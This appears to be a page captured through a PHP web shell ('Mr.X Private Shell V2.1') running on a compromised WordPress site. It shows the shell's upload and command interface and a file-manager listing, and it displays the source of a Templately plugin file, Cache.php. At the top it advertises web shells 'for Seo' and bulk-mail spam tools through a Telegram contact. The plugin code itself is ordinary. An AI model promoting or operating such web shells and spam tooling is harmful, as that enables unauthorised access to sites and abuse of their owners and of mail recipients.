__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Templately\Builder\Managers;

use Templately\Builder\Source;
use Templately\Builder\Types\ThemeTemplate;
use WP_Query;

class Cache {
	const OPTION_NAME = 'templately_builder_conditions';

	protected $conditions = [];

	public function __construct() {
		$this->refresh();
	}

	public function refresh(): Cache {
		$this->conditions = get_option( self::OPTION_NAME, [] );

		return $this;
	}

	/**
	 * @param  $document
	 * @param array $conditions
	 *
	 * @return $this
	 */
	public function update( $document, array $conditions ): Cache {
		return $this->remove( $document->get_main_id() )->add( $document, $conditions );
	}

	/**
	 * @param ThemeTemplate $document
	 * @param array $conditions
	 *
	 * @return $this
	 */
	public function add( ThemeTemplate $document, array $conditions ): Cache {
		$location = $document->get_location();
		if ( $location ) {
			if ( ! isset( $this->conditions[ $location ] ) ) {
				$this->conditions[ $location ] = [];
			}
			$this->conditions[ $location ][ $document->get_main_id() ] = $conditions;
		}

		return $this;
	}

	/**
	 * @param int $post_id
	 *
	 * @return $this
	 */
	public function remove( int $post_id ): Cache {
		$post_id = absint( $post_id );

		foreach ( $this->conditions as $location => $templates ) {
			foreach ( $templates as $id => $template ) {
				if ( $post_id === $id ) {
					unset( $this->conditions[ $location ][ $id ] );
				}
			}
		}

		return $this;
	}

	public function save(): bool {
		return update_option( self::OPTION_NAME, $this->conditions );
	}

	public function clear(): Cache {
		$this->conditions = [];

		return $this;
	}

	public function get_by_location( $location ) {
		if ( isset( $this->conditions[ $location ] ) ) {
			return $this->conditions[ $location ];
		}

		return [];
	}

	public function regenerate(): Cache {
		$this->clear();

		$query_args = [
			'posts_per_page' => - 1,
			'post_type'      => Source::CPT,
			'fields'         => 'ids',
			'meta_key'       => '_templately_conditions',
		];

		$query = new WP_Query( $query_args );

		foreach ( $query->posts as $post_id ) {
			$document = templately()->theme_builder->get_template( $post_id );

			if ( $document ) {
				$conditions = $document->get_meta( '_templately_conditions' );
				$this->add( $document, $conditions );
			}
		}

		$this->save();

		return $this;
	}
}

Filemanager

Name Type Size Permission Actions
Cache.php File 2.29 KB 0640
ConditionManager.php File 7.45 KB 0640
LocationManager.php File 12.02 KB 0640
TemplateManager.php File 4.28 KB 0640
ThemeCompatibility.php File 519 B 0640
Filemanager